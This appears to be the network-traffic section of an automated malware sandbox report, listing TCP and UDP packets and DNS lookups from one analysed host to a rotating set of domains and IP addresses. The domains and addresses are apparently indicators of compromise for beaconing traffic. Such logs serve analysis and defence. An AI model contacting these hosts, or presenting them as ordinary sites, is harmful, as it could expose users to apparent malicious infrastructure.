Sep 11, 2024 22:05:05.474271059 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.474292994 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:05.474373102 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:05.490009069 CEST	80	49737	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:05.490288973 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:06.237385035 CEST	49737	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:07.256743908 CEST	49738	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:07.261734962 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:07.262017965 CEST	49738	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:07.264355898 CEST	49738	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:07.269246101 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.548958063 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.548971891 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.548978090 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.548983097 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.548990011 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.548995018 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.549005032 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.549010992 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.549015999 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.549027920 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.549097061 CEST	49738	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:08.549118996 CEST	49738	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:08.549135923 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.549160004 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.549207926 CEST	49738	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:08.554317951 CEST	80	49738	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:08.554411888 CEST	49738	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:08.770906925 CEST	49738	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:09.791240931 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:10.071151018 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.071233988 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:10.073736906 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:10.079245090 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.079794884 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877616882 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877641916 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877654076 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877664089 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877682924 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877700090 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877711058 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877726078 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877737045 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877748966 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.877753019 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:10.877753019 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:10.877800941 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:10.877800941 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:10.882621050 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.882661104 CEST	80	49739	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:10.882716894 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:11.582335949 CEST	49739	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:12.599901915 CEST	49740	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:12.605835915 CEST	80	49740	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:12.605937958 CEST	49740	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:12.608148098 CEST	49740	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:12.613109112 CEST	80	49740	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:13.260107994 CEST	80	49740	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:13.260130882 CEST	80	49740	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:13.260345936 CEST	49740	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:13.262917042 CEST	49740	80	192.168.2.10	198.12.241.35
Sep 11, 2024 22:05:13.268856049 CEST	80	49740	198.12.241.35	192.168.2.10
Sep 11, 2024 22:05:18.321466923 CEST	49741	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:18.326461077 CEST	80	49741	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:18.326577902 CEST	49741	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:18.328668118 CEST	49741	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:18.333600998 CEST	80	49741	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:18.997102976 CEST	80	49741	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:18.997261047 CEST	80	49741	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:18.997419119 CEST	49741	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:19.833087921 CEST	49741	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:20.850055933 CEST	49742	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:20.855038881 CEST	80	49742	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:20.855110884 CEST	49742	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:20.858273983 CEST	49742	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:20.863188982 CEST	80	49742	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:21.677721024 CEST	80	49742	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:21.677777052 CEST	80	49742	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:21.677864075 CEST	49742	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:21.677923918 CEST	80	49742	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:21.679038048 CEST	49742	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:22.362243891 CEST	49742	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:23.380918980 CEST	49743	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:23.386450052 CEST	80	49743	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:23.386571884 CEST	49743	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:23.389415026 CEST	49743	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:23.394505978 CEST	80	49743	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:23.395087004 CEST	80	49743	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:24.030232906 CEST	80	49743	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:24.030251980 CEST	80	49743	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:24.030303955 CEST	49743	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:24.893573999 CEST	49743	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:25.912885904 CEST	49744	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:25.919032097 CEST	80	49744	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:25.919281960 CEST	49744	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:25.921297073 CEST	49744	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:25.927673101 CEST	80	49744	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:26.772846937 CEST	80	49744	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:26.772876024 CEST	80	49744	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:26.772934914 CEST	80	49744	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:26.773020983 CEST	49744	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:26.775959969 CEST	49744	80	192.168.2.10	91.195.240.19
Sep 11, 2024 22:05:26.780828953 CEST	80	49744	91.195.240.19	192.168.2.10
Sep 11, 2024 22:05:40.282619953 CEST	49745	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:40.287647963 CEST	80	49745	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:40.287725925 CEST	49745	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:40.290369987 CEST	49745	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:40.295187950 CEST	80	49745	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:41.799820900 CEST	49745	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:41.868355036 CEST	80	49745	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:42.819180012 CEST	49746	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:43.467567921 CEST	80	49746	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:43.468213081 CEST	49746	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:43.470554113 CEST	49746	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:43.475490093 CEST	80	49746	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:44.974967957 CEST	49746	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:45.020184994 CEST	80	49746	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:45.990201950 CEST	49747	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:45.995296001 CEST	80	49747	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:45.995378017 CEST	49747	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:45.997519970 CEST	49747	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:46.002389908 CEST	80	49747	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:46.002438068 CEST	80	49747	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:47.502943993 CEST	49747	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:47.553359985 CEST	80	49747	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:48.525665045 CEST	49748	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:48.530702114 CEST	80	49748	31.186.11.254	192.168.2.10
Sep 11, 2024 22:05:48.530797958 CEST	49748	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:48.539350033 CEST	49748	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:05:48.544197083 CEST	80	49748	31.186.11.254	192.168.2.10
Sep 11, 2024 22:06:01.797087908 CEST	80	49745	31.186.11.254	192.168.2.10
Sep 11, 2024 22:06:01.797274113 CEST	49745	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:06:04.859477997 CEST	80	49746	31.186.11.254	192.168.2.10
Sep 11, 2024 22:06:04.859536886 CEST	49746	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:06:07.385147095 CEST	80	49747	31.186.11.254	192.168.2.10
Sep 11, 2024 22:06:07.385246992 CEST	49747	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:06:09.901204109 CEST	80	49748	31.186.11.254	192.168.2.10
Sep 11, 2024 22:06:09.903189898 CEST	49748	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:06:09.907006979 CEST	49748	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:06:10.132411957 CEST	80	49748	31.186.11.254	192.168.2.10
Sep 11, 2024 22:06:10.132474899 CEST	49748	80	192.168.2.10	31.186.11.254
Sep 11, 2024 22:06:10.134934902 CEST	80	49748	31.186.11.254	192.168.2.10
Sep 11, 2024 22:06:15.001880884 CEST	49749	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:15.006834030 CEST	80	49749	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:15.006923914 CEST	49749	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:15.009797096 CEST	49749	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:15.014739990 CEST	80	49749	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:15.495182037 CEST	80	49749	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:15.495198965 CEST	80	49749	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:15.495255947 CEST	80	49749	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:15.495299101 CEST	49749	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:15.495496988 CEST	49749	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:17.112900019 CEST	49749	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:18.130786896 CEST	49750	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:18.135761023 CEST	80	49750	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:18.135865927 CEST	49750	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:18.137933016 CEST	49750	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:18.142844915 CEST	80	49750	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:18.792932034 CEST	80	49750	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:18.792953014 CEST	80	49750	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:18.792968035 CEST	80	49750	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:18.793021917 CEST	49750	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:18.793083906 CEST	80	49750	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:18.793210030 CEST	49750	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:19.643626928 CEST	49750	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:20.661956072 CEST	49751	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:20.667211056 CEST	80	49751	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:20.667315006 CEST	49751	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:20.669379950 CEST	49751	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:20.674293995 CEST	80	49751	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:20.674617052 CEST	80	49751	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:21.178412914 CEST	80	49751	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:21.178430080 CEST	80	49751	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:21.178493977 CEST	49751	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:21.178735971 CEST	80	49751	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:21.178797007 CEST	49751	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:22.174899101 CEST	49751	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:23.193321943 CEST	49752	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:23.198278904 CEST	80	49752	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:23.198362112 CEST	49752	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:23.200354099 CEST	49752	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:23.205152035 CEST	80	49752	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:23.711595058 CEST	80	49752	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:23.712097883 CEST	80	49752	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:23.712110996 CEST	80	49752	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:23.712219000 CEST	49752	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:23.712264061 CEST	49752	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:23.714905977 CEST	49752	80	192.168.2.10	192.250.231.28
Sep 11, 2024 22:06:23.720269918 CEST	80	49752	192.250.231.28	192.168.2.10
Sep 11, 2024 22:06:29.472975016 CEST	49753	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:29.478352070 CEST	80	49753	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:29.478456974 CEST	49753	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:29.481215954 CEST	49753	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:29.486073971 CEST	80	49753	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:30.426184893 CEST	80	49753	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:30.426208973 CEST	80	49753	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:30.426318884 CEST	49753	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:30.989314079 CEST	49753	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:32.005902052 CEST	49754	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:32.011015892 CEST	80	49754	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:32.013086081 CEST	49754	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:32.013145924 CEST	49754	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:32.018007040 CEST	80	49754	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:32.913976908 CEST	80	49754	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:32.914096117 CEST	80	49754	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:32.914154053 CEST	49754	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:33.518467903 CEST	49754	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:34.537472010 CEST	49755	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:34.542453051 CEST	80	49755	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:34.542570114 CEST	49755	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:34.544626951 CEST	49755	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:34.549485922 CEST	80	49755	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:34.549679041 CEST	80	49755	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:35.474220991 CEST	80	49755	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:35.474329948 CEST	80	49755	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:35.474379063 CEST	49755	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:36.049834967 CEST	49755	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:37.068394899 CEST	49756	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:37.073309898 CEST	80	49756	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:37.073419094 CEST	49756	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:37.075231075 CEST	49756	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:37.080030918 CEST	80	49756	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:37.962395906 CEST	80	49756	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:37.962440968 CEST	80	49756	47.239.13.172	192.168.2.10
Sep 11, 2024 22:06:37.962677956 CEST	49756	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:37.965822935 CEST	49756	80	192.168.2.10	47.239.13.172
Sep 11, 2024 22:06:37.970813036 CEST	80	49756	47.239.13.172	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 22:02:43.686266899 CEST	62071	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:02:43.858624935 CEST	53	62071	1.1.1.1	192.168.2.10
Sep 11, 2024 22:02:48.866895914 CEST	54357	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:02:48.987761974 CEST	53	54357	1.1.1.1	192.168.2.10
Sep 11, 2024 22:03:04.693380117 CEST	57210	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:03:04.987855911 CEST	53	57210	1.1.1.1	192.168.2.10
Sep 11, 2024 22:03:18.663373947 CEST	64698	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:03:19.288121939 CEST	53	64698	1.1.1.1	192.168.2.10
Sep 11, 2024 22:03:32.865890980 CEST	60508	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:03:33.546483994 CEST	53	60508	1.1.1.1	192.168.2.10
Sep 11, 2024 22:03:47.178591967 CEST	54757	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:03:47.890587091 CEST	53	54757	1.1.1.1	192.168.2.10
Sep 11, 2024 22:04:01.414809942 CEST	61959	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:04:02.424536943 CEST	61959	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:04:02.791366100 CEST	53	61959	1.1.1.1	192.168.2.10
Sep 11, 2024 22:04:02.791388988 CEST	53	61959	1.1.1.1	192.168.2.10
Sep 11, 2024 22:04:36.788104057 CEST	54289	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:04:37.390281916 CEST	53	54289	1.1.1.1	192.168.2.10
Sep 11, 2024 22:04:50.929626942 CEST	57682	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:04:50.955427885 CEST	53	57682	1.1.1.1	192.168.2.10
Sep 11, 2024 22:05:04.241656065 CEST	58101	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:05:04.710949898 CEST	53	58101	1.1.1.1	192.168.2.10
Sep 11, 2024 22:05:18.272358894 CEST	59724	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:05:18.318931103 CEST	53	59724	1.1.1.1	192.168.2.10
Sep 11, 2024 22:05:31.790961027 CEST	49848	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:05:32.065623045 CEST	53	49848	1.1.1.1	192.168.2.10
Sep 11, 2024 22:05:40.132844925 CEST	56559	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:05:40.273622990 CEST	53	56559	1.1.1.1	192.168.2.10
Sep 11, 2024 22:06:14.912861109 CEST	59013	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:06:14.981918097 CEST	53	59013	1.1.1.1	192.168.2.10
Sep 11, 2024 22:06:28.725085020 CEST	50190	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:06:29.470614910 CEST	53	50190	1.1.1.1	192.168.2.10
Sep 11, 2024 22:06:42.987001896 CEST	51296	53	192.168.2.10	1.1.1.1
Sep 11, 2024 22:06:43.064589024 CEST	53	51296	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 11, 2024 22:02:43.686266899 CEST	192.168.2.10	1.1.1.1	0x3788	Standard query (0)	www.make-l.ru	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:02:48.866895914 CEST	192.168.2.10	1.1.1.1	0xf010	Standard query (0)	www.goodgiftguru.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:03:04.693380117 CEST	192.168.2.10	1.1.1.1	0x362c	Standard query (0)	www.fardvuss.top	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:03:18.663373947 CEST	192.168.2.10	1.1.1.1	0x8734	Standard query (0)	www.vacaturecast.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:03:32.865890980 CEST	192.168.2.10	1.1.1.1	0xb039	Standard query (0)	www.drivemktg.co	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:03:47.178591967 CEST	192.168.2.10	1.1.1.1	0x5070	Standard query (0)	www.nbh6agr8h.sbs	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:04:01.414809942 CEST	192.168.2.10	1.1.1.1	0xfd4a	Standard query (0)	www.54bxd.cyou	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:04:02.424536943 CEST	192.168.2.10	1.1.1.1	0xfd4a	Standard query (0)	www.54bxd.cyou	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:04:36.788104057 CEST	192.168.2.10	1.1.1.1	0x4bb	Standard query (0)	www.r7xzr3ib0.sbs	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:04:50.929626942 CEST	192.168.2.10	1.1.1.1	0xac4f	Standard query (0)	www.bitmapsportsbook.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:05:04.241656065 CEST	192.168.2.10	1.1.1.1	0xbe75	Standard query (0)	www.aceautocorp.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:05:18.272358894 CEST	192.168.2.10	1.1.1.1	0x4fcd	Standard query (0)	www.purpleheartlacey.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:05:31.790961027 CEST	192.168.2.10	1.1.1.1	0xcf93	Standard query (0)	www.cityrentsatruck.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:05:40.132844925 CEST	192.168.2.10	1.1.1.1	0x3d96	Standard query (0)	www.grafiktema.xyz	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:06:14.912861109 CEST	192.168.2.10	1.1.1.1	0xd383	Standard query (0)	www.cr-pos.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:06:28.725085020 CEST	192.168.2.10	1.1.1.1	0xcaa3	Standard query (0)	www.trcrb8e8m.sbs	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:06:42.987001896 CEST	192.168.2.10	1.1.1.1	0x32c0	Standard query (0)	www.sulpapeis.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 11, 2024 22:02:43.858624935 CEST	1.1.1.1	192.168.2.10	0x3788	Name error (3)	www.make-l.ru	none	none	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:02:48.987761974 CEST	1.1.1.1	192.168.2.10	0xf010	No error (0)	www.goodgiftguru.com	webredir.vip.gandi.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:02:48.987761974 CEST	1.1.1.1	192.168.2.10	0xf010	No error (0)	webredir.vip.gandi.net		217.70.184.50	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:03:04.987855911 CEST	1.1.1.1	192.168.2.10	0x362c	No error (0)	www.fardvuss.top		199.192.19.19	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:03:19.288121939 CEST	1.1.1.1	192.168.2.10	0x8734	No error (0)	www.vacaturecast.com	vacaturecast.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:03:19.288121939 CEST	1.1.1.1	192.168.2.10	0x8734	No error (0)	vacaturecast.com		91.184.0.111	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:03:33.546483994 CEST	1.1.1.1	192.168.2.10	0xb039	No error (0)	www.drivemktg.co		193.108.130.23	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:03:47.890587091 CEST	1.1.1.1	192.168.2.10	0x5070	No error (0)	www.nbh6agr8h.sbs	xiaoyue.zhuangkou.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:03:47.890587091 CEST	1.1.1.1	192.168.2.10	0x5070	No error (0)	xiaoyue.zhuangkou.com		47.239.13.172	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:04:02.791366100 CEST	1.1.1.1	192.168.2.10	0xfd4a	No error (0)	www.54bxd.cyou		154.213.157.32	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:04:02.791388988 CEST	1.1.1.1	192.168.2.10	0xfd4a	No error (0)	www.54bxd.cyou		154.213.157.32	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:04:37.390281916 CEST	1.1.1.1	192.168.2.10	0x4bb	No error (0)	www.r7xzr3ib0.sbs	xiaoyue.zhuangkou.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:04:37.390281916 CEST	1.1.1.1	192.168.2.10	0x4bb	No error (0)	xiaoyue.zhuangkou.com		47.239.13.172	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:04:50.955427885 CEST	1.1.1.1	192.168.2.10	0xac4f	No error (0)	www.bitmapsportsbook.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:04:50.955427885 CEST	1.1.1.1	192.168.2.10	0xac4f	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Sep 11, 2024 22:05:04.710949898 CEST	1.1.1.1	192.168.2.10	0xbe75	No error (0)	www.aceautocorp.com	aceautocorp.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 22:05:04.710949898 CEST	1.1.1.1	192.168.2.10	0xbe75	No error (0)	aceautocorp.com		198.12.241.35	A (IP address)	IN (0x0001)	false
